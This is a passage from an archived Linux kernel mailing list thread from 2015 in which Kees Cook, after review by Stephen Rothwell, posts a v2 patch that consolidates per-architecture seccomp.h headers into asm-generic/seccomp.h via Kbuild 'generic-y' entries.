> -#define __NR_seccomp_exit __NR_exit
> -#define __NR_seccomp_sigreturn __NR_rt_sigreturn
> -
> -#endif /* _ASM_ARM_SECCOMP_H */
> +#include <asm-generic/seccomp.h>

I think that these cases (where you replace the file by a stub that
just include <asm-generic/seccomp.h>) can be replaced by removing the
file completely and adding

generic-y =3D seccomp.h

to <ARCH>/include/asm/Kbuild

--=20
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au

--Sig_/OELWuzD5PC91fjVQFZ1t_+c
Content-Type: application/pgp-signature
Content-Description: OpenPGP digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQIcBAEBCAAGBQJU8Ru9AAoJEMDTa8Ir7ZwVpvIP/jZNouddKAUOjxkrLO0Cmwgl
4N0nD+bHWvWZB0ecfKFFbj9Uk1sd9o2JlJVD3gCRXdoqfS6+wTdxttX3RDzW39QB
0Xo0ivy6naWah73Ux95XN3W8ZH7Wq1oJpV5MNiJj2JbSFnkit6KwmueLV0+ELbIX
xrsu3ZlgDwXxZAFuj5z05SPUmGEj4PCgnr2/+xfYNYb1Uw3ZKikrlApJTT3oiiBW
dcpnN2xdDREFTcE6FtroCLPSj7oglx5fONowhxpcdHLIa77Lg/OQD1stfcsnNRiL
8dCJhe1G/wpv/BeRnJ43Xgdb0B/9W5AlIUi3Z/O0EXaHSwKIxShgd6+7o0f/AmUY
ohHqjJAfhILz5o/ivI54PGG0Z8QwLKfCYbqicG8mK3iIo1s9WwK/0oP1BJD9Mf/f
hsMnNdvqABbardBVdoGyjIwn6gds4CQnGVhdViuV2YZA2ZIL8TDqh/vnx1BlLvR1
FjJti/BF8zjnR1bNPvosMaIQLYGhbRfCc4EqoZHIHSkBcM8LOI/xwLCFtZtl/q/2
Tv9CUz35WCBNwZZObh/ZCzsJ4FWIPQA4rJyDuAToORVRWwmFXYtZSi113+MwFW31
cM1fVgakXfIZ04j4qJaKd/EdouMuIggrbhqGhz7GybnD1c5rOV4kZeducuM2ysT6
cjY2pr0NiBKGphJ3yISb
=VLZN
-----END PGP SIGNATURE-----

--Sig_/OELWuzD5PC91fjVQFZ1t_+c--
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] seccomp: switch to using asm-generic for seccomp.h
Date: Fri, 27 Feb 2015 18:01:11 -0800
Lines: 45
Approved: news@gmane.org
Message-ID: <CAGXu5jLgbzzYQkeLmpgSGu7w7DKKTHpFE=F2_a=ayjkU6atBQQ@mail.gmail.com>
References: <20150228005228.GA23638@www.outflux.net>
	<20150228123656.538301ef@canb.auug.org.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1425088887 20545 80.91.229.3 (28 Feb 2015 02:01:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 28 Feb 2015 02:01:27 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Linux MIPS Mailing List <linux-mips@linux-mips.org>,
	linux-sh@vger.kernel.org,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Paul Mackerras <paulus@samba.org>, sparclinux@vger.kernel.org,
	linux-s390@vger.kernel.org, Russell King <linux@arm.linux.org.uk>,
	Helge Deller <deller@gmx.de>,
	"x86@kernel.org" <x86@kernel.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	AKASHI Takahiro <takahiro.akashi@linaro.org>,
	James Hogan <james.hogan@imgtec.com>,
	"linux-arm-kernel@lists.infradead.org" 
	<linux-arm-kernel@lists.infradead.org>,
	Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
	LKML <linux-kernel@vger.kernel.org>,
	Ralf Baechle <ralf@linux-mips.org>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	linux390@de.ibm.com, linuxppc-dev@lists.ozlabs.org,
	"David S. Miller" <davem@davemloft.net>
To: Stephen Rothwell <sfr@canb.auug.org.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 28 03:01:19 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YRWiT-0003r3-Eq
	for glpp-linux-parisc@plane.gmane.org; Sat, 28 Feb 2015 03:01:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751152AbbB1CBN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 27 Feb 2015 21:01:13 -0500
Original-Received: from mail-vc0-f180.google.com ([209.85.220.180]:50485 "EHLO
	mail-vc0-f180.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750799AbbB1CBM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 27 Feb 2015 21:01:12 -0500
Original-Received: by mail-vc0-f180.google.com with SMTP id le20so887170vcb.11
        for <linux-parisc@vger.kernel.org>; Fri, 27 Feb 2015 18:01:11 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=jeKyPFKBXXQ2SljZF1DiXLKMguDZrTnK9rHtKCeCeUU=;
        b=CJd6Juq85ZdW4cnPrTREP+ULHyqIvixNp1UGuFxO+XV/JPObq8GlYwRSFe1zYKN9+y
         Lige1Uj4nIhldEFCRIYpF0o0VgM0k7wwCXLmxGJrxFBgxt8hWW8BA2g/WYkj/SE/bJVN
         GdzgchfUeQYr0zlCo6CkQ88o87jbqQfHtsvbLkK4iVdCdHLrTtpA8ObexP9vQRFy5vqq
         ODZPUEYm+bmoTmNrJYtSFngZwQyeuR22MPzQAo71X/Kk86rXTAfeSDQjRbqHNRB3P4rn
         atDVDDNrPbzwafqPd0Rz6qWQCP+8cWdzK6BrfGrDplasyWLryyrNsNfnzwCkWtjaRbIH
         flaA==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=jeKyPFKBXXQ2SljZF1DiXLKMguDZrTnK9rHtKCeCeUU=;
        b=lTYNmOUsiA77IPWy689kminIx53qpqvar4fn6FBjzkjG/HuF9r/aZUxVQZ2TEBuUgt
         CxGrMjh5av3Qf0RnQeqUdVeDFjSKWIfQmyRAftScrBjqr7FdHVr45WgJEphziMcq8tYM
         RQ8OU+IHHZGJWTrrY0ICgzAhjJk+31Qdxtqsg=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type;
        bh=jeKyPFKBXXQ2SljZF1DiXLKMguDZrTnK9rHtKCeCeUU=;
        b=C5gXXlEAzp4xri1CG/aN9l4fMzzwEHtQNNTFSOTr9PY5F8XMJ0pO3dvziqjdnMk3al
         iPadSwxQI+4sA9TEXmbiDKJBO33+FfmJyeQmmO1cv3D4b1NuEjLP/4L4ZqigNh4YeJst
         LS2Sv8Er3/HRbkZLA9OC6Q2w1p53aXQp88nKDn4migMCvhsXdVKDjRkbLqqp7oW/tq/H
         dM5JA/Na+rTltlTbAR3BduX188ivS0OKMcgHcL+0+d6Q2uvRCdQW+D1UxSt/g+2dA64X
         U77Rm0eboIvDP0v/332iHMrE1zSB4u91cL+7r5cJXIR5djFp2C6VJ9N5X64NP0JfGpWx
         ks+w==
X-Gm-Message-State: ALoCoQmjLFr5PDfniopNk3TAGYde0/vmT6V90pDB/SQGEAn4pM014XVzmLyfIMxNj6KIONRiaQDf
X-Received: by 10.52.12.169 with SMTP id z9mr15633613vdb.69.1425088871631;
 Fri, 27 Feb 2015 18:01:11 -0800 (PST)
Original-Received: by 10.52.116.135 with HTTP; Fri, 27 Feb 2015 18:01:11 -0800 (PST)
In-Reply-To: <20150228123656.538301ef@canb.auug.org.au>
X-Google-Sender-Auth: eC67U_LB6kG_DeNmXHRiJ3HjAwk
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25615 gmane.linux.ports.mips.general:47207 gmane.linux.ports.sh.devel:44299 gmane.linux.ports.sparc:20479 gmane.linux.ports.arm.kernel:396148 gmane.linux.kernel:1896690 gmane.linux.ports.ppc64.devel:109567
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25615>

On Fri, Feb 27, 2015 at 5:36 PM, Stephen Rothwell <sfr@canb.auug.org.au> wrote:
> Hi Kees,
>
> On Fri, 27 Feb 2015 16:52:29 -0800 Kees Cook <keescook@chromium.org> wrote:
>>
>> diff --git a/arch/arm/include/asm/seccomp.h b/arch/arm/include/asm/seccomp.h
>> index 52b156b341f5..66ca6a30bf5c 100644
>> --- a/arch/arm/include/asm/seccomp.h
>> +++ b/arch/arm/include/asm/seccomp.h
>> @@ -1,11 +1 @@
>> -#ifndef _ASM_ARM_SECCOMP_H
>> -#define _ASM_ARM_SECCOMP_H
>> -
>> -#include <linux/unistd.h>
>> -
>> -#define __NR_seccomp_read __NR_read
>> -#define __NR_seccomp_write __NR_write
>> -#define __NR_seccomp_exit __NR_exit
>> -#define __NR_seccomp_sigreturn __NR_rt_sigreturn
>> -
>> -#endif /* _ASM_ARM_SECCOMP_H */
>> +#include <asm-generic/seccomp.h>
>
> I think that these cases (where you replace the file by a stub that
> just include <asm-generic/seccomp.h>) can be replaced by removing the
> file completely and adding
>
> generic-y = seccomp.h
>
> to <ARCH>/include/asm/Kbuild

Ah-ha! I thought total removal was possible, but I lacked the Kbuild
piece. There are a lot of arch/ headers that are just the one line.
Maybe I should send a another patch to clean up those?

-Kees

-- 
Kees Cook
Chrome OS Security
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel
Subject: [PATCH v2] seccomp: switch to using asm-generic for seccomp.h
Date: Mon, 2 Mar 2015 15:12:54 -0800
Lines: 373
Approved: news@gmane.org
Message-ID: <20150302231254.GA4857@www.outflux.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1425338101 19986 80.91.229.3 (2 Mar 2015 23:15:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Mar 2015 23:15:01 +0000 (UTC)
Cc: AKASHI Takahiro <takahiro.akashi@linaro.org>,
        Russell King <linux@arm.linux.org.uk>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        linux390@de.ibm.com, "David S. Miller" <davem@davemloft.net>,
        x86@kernel.org, Frederic Weisbecker <fweisbec@gmail.com>,
        Peter Zijlstra <peterz@infradead.org>,
        Stephen Rothwell <sfr@canb.auug.org.au>,
        Laura Abbott <lauraa@codeaurora.org>,
        Will Deacon <will.deacon@arm.com>,
        Daniel Borkmann <dborkman@redhat.com>,
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-mips-bounce@linux-mips.org Tue Mar 03 00:14:52 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1YSZY3-0005qu-ES
	for sgi-linux-mips@gmane.org; Tue, 03 Mar 2015 00:14:51 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:58299 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27007954AbbCBXOrmkwc- (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Tue, 3 Mar 2015 00:14:47 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 03 Mar 2015 00:14:33 +0100 (CET)
Original-Received: from smtp.outflux.net ([198.145.64.163]:56649 "EHLO smtp.outflux.net"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27006738AbbCBXObuddvf (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Tue, 3 Mar 2015 00:14:31 +0100
Original-Received: from www.outflux.net (serenity.outflux.net [10.2.0.2])
        by vinyl.outflux.net (8.14.4/8.14.4/Debian-4.1ubuntu1) with ESMTP id t22NCscM032472;
        Mon, 2 Mar 2015 15:12:54 -0800
Content-Disposition: inline
X-MIMEDefang-Filter: outflux$Revision: 1.316 $
X-HELO: www.outflux.net
X-Scanned-By: MIMEDefang 2.73
X-archive-position: 46081
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: keescook@chromium.org
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:47231 gmane.linux.ports.arm.kernel:396632 gmane.linux.ports.parisc:25616 gmane.linux.ports.ppc64.devel:109610 gmane.linux.ports.sh.devel:44341 gmane.linux.ports.sparc:20500 gmane.linux.kernel:1898181
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/47231>

Most architectures don't need to do anything special for the strict
seccomp syscall entries. Remove the redundant headers and reduce the
others.

Signed-off-by: Kees Cook <keescook@chromium.org>
---
v2:
- use Kbuild "generic-y" instead of explicit #include lines (sfr)
---
 arch/arm/include/asm/Kbuild             |  1 +
 arch/arm/include/asm/seccomp.h          | 11 -----------
 arch/microblaze/include/asm/Kbuild      |  1 +
 arch/microblaze/include/asm/seccomp.h   | 16 ----------------
 arch/mips/include/asm/seccomp.h         |  7 ++-----
 arch/parisc/include/asm/Kbuild          |  1 +
 arch/parisc/include/asm/seccomp.h       | 16 ----------------
 arch/powerpc/include/asm/Kbuild         |  1 +
 arch/powerpc/include/uapi/asm/Kbuild    |  1 -
 arch/powerpc/include/uapi/asm/seccomp.h | 16 ----------------
 arch/s390/include/asm/Kbuild            |  1 +
 arch/s390/include/asm/seccomp.h         | 16 ----------------
 arch/sh/include/asm/Kbuild              |  1 +
 arch/sh/include/asm/seccomp.h           | 10 ----------
 arch/sparc/include/asm/Kbuild           |  1 +
 arch/sparc/include/asm/seccomp.h        | 15 ---------------
 arch/x86/include/asm/seccomp.h          | 21 ++++++++++++++++++---
 arch/x86/include/asm/seccomp_32.h       | 11 -----------
 arch/x86/include/asm/seccomp_64.h       | 17 -----------------
 19 files changed, 27 insertions(+), 137 deletions(-)
 delete mode 100644 arch/arm/include/asm/seccomp.h
 delete mode 100644 arch/microblaze/include/asm/seccomp.h
 delete mode 100644 arch/parisc/include/asm/seccomp.h
 delete mode 100644 arch/powerpc/include/uapi/asm/seccomp.h
 delete mode 100644 arch/s390/include/asm/seccomp.h
 delete mode 100644 arch/sh/include/asm/seccomp.h
 delete mode 100644 arch/sparc/include/asm/seccomp.h
 delete mode 100644 arch/x86/include/asm/seccomp_32.h
 delete mode 100644 arch/x86/include/asm/seccomp_64.h

diff --git a/arch/arm/include/asm/Kbuild b/arch/arm/include/asm/Kbuild
index fe74c0d1e485..d7be5a9fd171 100644
--- a/arch/arm/include/asm/Kbuild
+++ b/arch/arm/include/asm/Kbuild
@@ -22,6 +22,7 @@ generic-y += preempt.h
 generic-y += resource.h
 generic-y += rwsem.h
 generic-y += scatterlist.h
+generic-y += seccomp.h
 generic-y += sections.h
 generic-y += segment.h
 generic-y += sembuf.h
diff --git a/arch/arm/include/asm/seccomp.h b/arch/arm/include/asm/seccomp.h
deleted file mode 100644
index 52b156b341f5..000000000000
--- a/arch/arm/include/asm/seccomp.h
+++ /dev/null
@@ -1,11 +0,0 @@
-#ifndef _ASM_ARM_SECCOMP_H
-#define _ASM_ARM_SECCOMP_H
-
-#include <linux/unistd.h>
-
-#define __NR_seccomp_read __NR_read
-#define __NR_seccomp_write __NR_write
-#define __NR_seccomp_exit __NR_exit
-#define __NR_seccomp_sigreturn __NR_rt_sigreturn
-
-#endif /* _ASM_ARM_SECCOMP_H */
diff --git a/arch/microblaze/include/asm/Kbuild b/arch/microblaze/include/asm/Kbuild
index ab564a6db5c3..877e2f610655 100644
--- a/arch/microblaze/include/asm/Kbuild
+++ b/arch/microblaze/include/asm/Kbuild
@@ -8,5 +8,6 @@ generic-y += irq_work.h
 generic-y += mcs_spinlock.h
 generic-y += preempt.h
 generic-y += scatterlist.h
+generic-y += seccomp.h
 generic-y += syscalls.h
 generic-y += trace_clock.h
diff --git a/arch/microblaze/include/asm/seccomp.h b/arch/microblaze/include/asm/seccomp.h
deleted file mode 100644
index 0d912758a0d7..000000000000
--- a/arch/microblaze/include/asm/seccomp.h
+++ /dev/null
@@ -1,16 +0,0 @@
-#ifndef _ASM_MICROBLAZE_SECCOMP_H
-#define _ASM_MICROBLAZE_SECCOMP_H
-
-#include <linux/unistd.h>
-
-#define __NR_seccomp_read		__NR_read
-#define __NR_seccomp_write		__NR_write
-#define __NR_seccomp_exit		__NR_exit
-#define __NR_seccomp_sigreturn		__NR_sigreturn
-
-#define __NR_seccomp_read_32		__NR_read
-#define __NR_seccomp_write_32		__NR_write
-#define __NR_seccomp_exit_32		__NR_exit
-#define __NR_seccomp_sigreturn_32	__NR_sigreturn
-
-#endif	/* _ASM_MICROBLAZE_SECCOMP_H */
diff --git a/arch/mips/include/asm/seccomp.h b/arch/mips/include/asm/seccomp.h
index f29c75cf83c6..1d8a2e2c75c1 100644
--- a/arch/mips/include/asm/seccomp.h
+++ b/arch/mips/include/asm/seccomp.h
@@ -2,11 +2,6 @@
 
 #include <linux/unistd.h>
 
-#define __NR_seccomp_read __NR_read
-#define __NR_seccomp_write __NR_write
-#define __NR_seccomp_exit __NR_exit
-#define __NR_seccomp_sigreturn __NR_rt_sigreturn
-
 /*
  * Kludge alert:
  *
@@ -29,4 +24,6 @@
 
 #endif /* CONFIG_MIPS32_O32 */
 
+#include <asm-generic/seccomp.h>
+
 #endif /* __ASM_SECCOMP_H */
diff --git a/arch/parisc/include/asm/Kbuild b/arch/parisc/include/asm/Kbuild
index 8686237a3c3c..12b341d04f88 100644
--- a/arch/parisc/include/asm/Kbuild
+++ b/arch/parisc/include/asm/Kbuild
@@ -20,6 +20,7 @@ generic-y += param.h
 generic-y += percpu.h
 generic-y += poll.h
 generic-y += preempt.h
+generic-y += seccomp.h
 generic-y += segment.h
 generic-y += topology.h
 generic-y += trace_clock.h
diff --git a/arch/parisc/include/asm/seccomp.h b/arch/parisc/include/asm/seccomp.h
deleted file mode 100644
index 015f7887aa29..000000000000
--- a/arch/parisc/include/asm/seccomp.h
+++ /dev/null
@@ -1,16 +0,0 @@
-#ifndef _ASM_PARISC_SECCOMP_H
-#define _ASM_PARISC_SECCOMP_H
-
-#include <linux/unistd.h>
-
-#define __NR_seccomp_read __NR_read
-#define __NR_seccomp_write __NR_write
-#define __NR_seccomp_exit __NR_exit
-#define __NR_seccomp_sigreturn __NR_rt_sigreturn
-
-#define __NR_seccomp_read_32 __NR_read
-#define __NR_seccomp_write_32 __NR_write
-#define __NR_seccomp_exit_32 __NR_exit
-#define __NR_seccomp_sigreturn_32 __NR_rt_sigreturn
-
-#endif	/* _ASM_PARISC_SECCOMP_H */
diff --git a/arch/powerpc/include/asm/Kbuild b/arch/powerpc/include/asm/Kbuild
index 382b28e364dc..c3a772f19dfd 100644
--- a/arch/powerpc/include/asm/Kbuild
+++ b/arch/powerpc/include/asm/Kbuild
@@ -5,5 +5,6 @@ generic-y += mcs_spinlock.h
 generic-y += preempt.h
 generic-y += rwsem.h
 generic-y += scatterlist.h
+generic-y += seccomp.h
 generic-y += trace_clock.h
 generic-y += vtime.h
diff --git a/arch/powerpc/include/uapi/asm/Kbuild b/arch/powerpc/include/uapi/asm/Kbuild
index 7a3f795ac218..79c4068be278 100644
--- a/arch/powerpc/include/uapi/asm/Kbuild
+++ b/arch/powerpc/include/uapi/asm/Kbuild
@@ -25,7 +25,6 @@ header-y += posix_types.h
 header-y += ps3fb.h
 header-y += ptrace.h
 header-y += resource.h
-header-y += seccomp.h
 header-y += sembuf.h
 header-y += setup.h
 header-y += shmbuf.h
diff --git a/arch/powerpc/include/uapi/asm/seccomp.h b/arch/powerpc/include/uapi/asm/seccomp.h
deleted file mode 100644
index 00c1d9133cfe..000000000000
--- a/arch/powerpc/include/uapi/asm/seccomp.h
+++ /dev/null
@@ -1,16 +0,0 @@
-#ifndef _ASM_POWERPC_SECCOMP_H
-#define _ASM_POWERPC_SECCOMP_H
-
-#include <linux/unistd.h>
-
-#define __NR_seccomp_read __NR_read
-#define __NR_seccomp_write __NR_write
-#define __NR_seccomp_exit __NR_exit
-#define __NR_seccomp_sigreturn __NR_rt_sigreturn
-
-#define __NR_seccomp_read_32 __NR_read
-#define __NR_seccomp_write_32 __NR_write
-#define __NR_seccomp_exit_32 __NR_exit
-#define __NR_seccomp_sigreturn_32 __NR_sigreturn
-
-#endif	/* _ASM_POWERPC_SECCOMP_H */
diff --git a/arch/s390/include/asm/Kbuild b/arch/s390/include/asm/Kbuild
index c631f98fd524..369fbfcd85fc 100644
--- a/arch/s390/include/asm/Kbuild
+++ b/arch/s390/include/asm/Kbuild
@@ -5,4 +5,5 @@ generic-y += irq_work.h
 generic-y += mcs_spinlock.h
 generic-y += preempt.h
 generic-y += scatterlist.h
+generic-y += seccomp.h
 generic-y += trace_clock.h
diff --git a/arch/s390/include/asm/seccomp.h b/arch/s390/include/asm/seccomp.h
deleted file mode 100644
index 781a9cf9b002..000000000000
--- a/arch/s390/include/asm/seccomp.h
+++ /dev/null
@@ -1,16 +0,0 @@
-#ifndef _ASM_S390_SECCOMP_H
-#define _ASM_S390_SECCOMP_H
-
-#include <linux/unistd.h>
-
-#define __NR_seccomp_read	__NR_read
-#define __NR_seccomp_write	__NR_write
-#define __NR_seccomp_exit	__NR_exit
-#define __NR_seccomp_sigreturn	__NR_sigreturn
-
-#define __NR_seccomp_read_32	__NR_read
-#define __NR_seccomp_write_32	__NR_write
-#define __NR_seccomp_exit_32	__NR_exit
-#define __NR_seccomp_sigreturn_32 __NR_sigreturn
-
-#endif	/* _ASM_S390_SECCOMP_H */
diff --git a/arch/sh/include/asm/Kbuild b/arch/sh/include/asm/Kbuild
index 654ebb6bd5d8..457aaa82c30d 100644
--- a/arch/sh/include/asm/Kbuild
+++ b/arch/sh/include/asm/Kbuild
@@ -25,6 +25,7 @@ generic-y += poll.h
 generic-y += preempt.h
 generic-y += resource.h
 generic-y += scatterlist.h
+generic-y += seccomp.h
 generic-y += sembuf.h
 generic-y += serial.h
 generic-y += shmbuf.h
diff --git a/arch/sh/include/asm/seccomp.h b/arch/sh/include/asm/seccomp.h
deleted file mode 100644
index 3280ed3802ef..000000000000
--- a/arch/sh/include/asm/seccomp.h
+++ /dev/null
@@ -1,10 +0,0 @@
-#ifndef __ASM_SECCOMP_H
-
-#include <linux/unistd.h>
-
-#define __NR_seccomp_read __NR_read
-#define __NR_seccomp_write __NR_write
-#define __NR_seccomp_exit __NR_exit
-#define __NR_seccomp_sigreturn __NR_rt_sigreturn
-
-#endif /* __ASM_SECCOMP_H */
diff --git a/arch/sparc/include/asm/Kbuild b/arch/sparc/include/asm/Kbuild
index 94f36e7086a7..41646380db97 100644
--- a/arch/sparc/include/asm/Kbuild
+++ b/arch/sparc/include/asm/Kbuild
@@ -16,6 +16,7 @@ generic-y += module.h
 generic-y += mutex.h
 generic-y += preempt.h
 generic-y += scatterlist.h
+generic-y += seccomp.h
 generic-y += serial.h
 generic-y += trace_clock.h
 generic-y += types.h
diff --git a/arch/sparc/include/asm/seccomp.h b/arch/sparc/include/asm/seccomp.h
deleted file mode 100644
index adca1bce41d4..000000000000
--- a/arch/sparc/include/asm/seccomp.h
+++ /dev/null
@@ -1,15 +0,0 @@
-#ifndef _ASM_SECCOMP_H
-
-#include <linux/unistd.h>
-
-#define __NR_seccomp_read __NR_read
-#define __NR_seccomp_write __NR_write
-#define __NR_seccomp_exit __NR_exit
-#define __NR_seccomp_sigreturn __NR_rt_sigreturn
-
-#define __NR_seccomp_read_32 __NR_read
-#define __NR_seccomp_write_32 __NR_write
-#define __NR_seccomp_exit_32 __NR_exit
-#define __NR_seccomp_sigreturn_32 __NR_sigreturn
-
-#endif /* _ASM_SECCOMP_H */
diff --git a/arch/x86/include/asm/seccomp.h b/arch/x86/include/asm/seccomp.h
index 0f3d7f099224..b13ac5f63702 100644
--- a/arch/x86/include/asm/seccomp.h
+++ b/arch/x86/include/asm/seccomp.h
@@ -1,5 +1,20 @@
+#ifndef _ASM_X86_SECCOMP_H
+#define _ASM_X86_SECCOMP_H
+
+#include <asm/unistd.h>
+
+#ifdef CONFIG_COMPAT
+#include <asm/ia32_unistd.h>
+#define __NR_seccomp_read_32		__NR_ia32_read
+#define __NR_seccomp_write_32		__NR_ia32_write
+#define __NR_seccomp_exit_32		__NR_ia32_exit
+#define __NR_seccomp_sigreturn_32	__NR_ia32_sigreturn
+#endif
+
 #ifdef CONFIG_X86_32
-# include <asm/seccomp_32.h>
-#else
-# include <asm/seccomp_64.h>
+#define __NR_seccomp_sigreturn		__NR_sigreturn
 #endif
+
+#include <asm-generic/seccomp.h>
+
+#endif /* _ASM_X86_SECCOMP_H */
diff --git a/arch/x86/include/asm/seccomp_32.h b/arch/x86/include/asm/seccomp_32.h
deleted file mode 100644
index b811d6f5780c..000000000000
--- a/arch/x86/include/asm/seccomp_32.h
+++ /dev/null
@@ -1,11 +0,0 @@
-#ifndef _ASM_X86_SECCOMP_32_H
-#define _ASM_X86_SECCOMP_32_H
-
-#include <linux/unistd.h>
-
-#define __NR_seccomp_read __NR_read
-#define __NR_seccomp_write __NR_write
-#define __NR_seccomp_exit __NR_exit
-#define __NR_seccomp_sigreturn __NR_sigreturn
-
-#endif /* _ASM_X86_SECCOMP_32_H */
diff --git a/arch/x86/include/asm/seccomp_64.h b/arch/x86/include/asm/seccomp_64.h
deleted file mode 100644
index 84ec1bd161a5..000000000000
--- a/arch/x86/include/asm/seccomp_64.h
+++ /dev/null
@@ -1,17 +0,0 @@
-#ifndef _ASM_X86_SECCOMP_64_H
-#define _ASM_X86_SECCOMP_64_H
-
-#include <linux/unistd.h>
-#include <asm/ia32_unistd.h>
-
-#define __NR_seccomp_read __NR_read
-#define __NR_seccomp_write __NR_write
-#define __NR_seccomp_exit __NR_exit
-#define __NR_seccomp_sigreturn __NR_rt_sigreturn
-
-#define __NR_seccomp_read_32 __NR_ia32_read
-#define __NR_seccomp_write_32 __NR_ia32_write
-#define __NR_seccomp_exit_32 __NR_ia32_exit
-#define __NR_seccomp_sigreturn_32 __NR_ia32_sigreturn
-
-#endif /* _ASM_X86_SECCOMP_64_H */
-- 
1.9.1


-- 
Kees Cook
Chrome OS Security



From - Thu Nov 08 21:37:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bhelgaas@google.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc
Subject: Re: [PATCH v4 22/30] PCI/Parisc: Use pci_scan_root_bus() for
 simplicity
Date: Mon, 2 Mar 2015 21:24:12 -0600
Lines: 62
Approved: news@gmane.org
Message-ID: <20150303032412.GK11978@google.com>
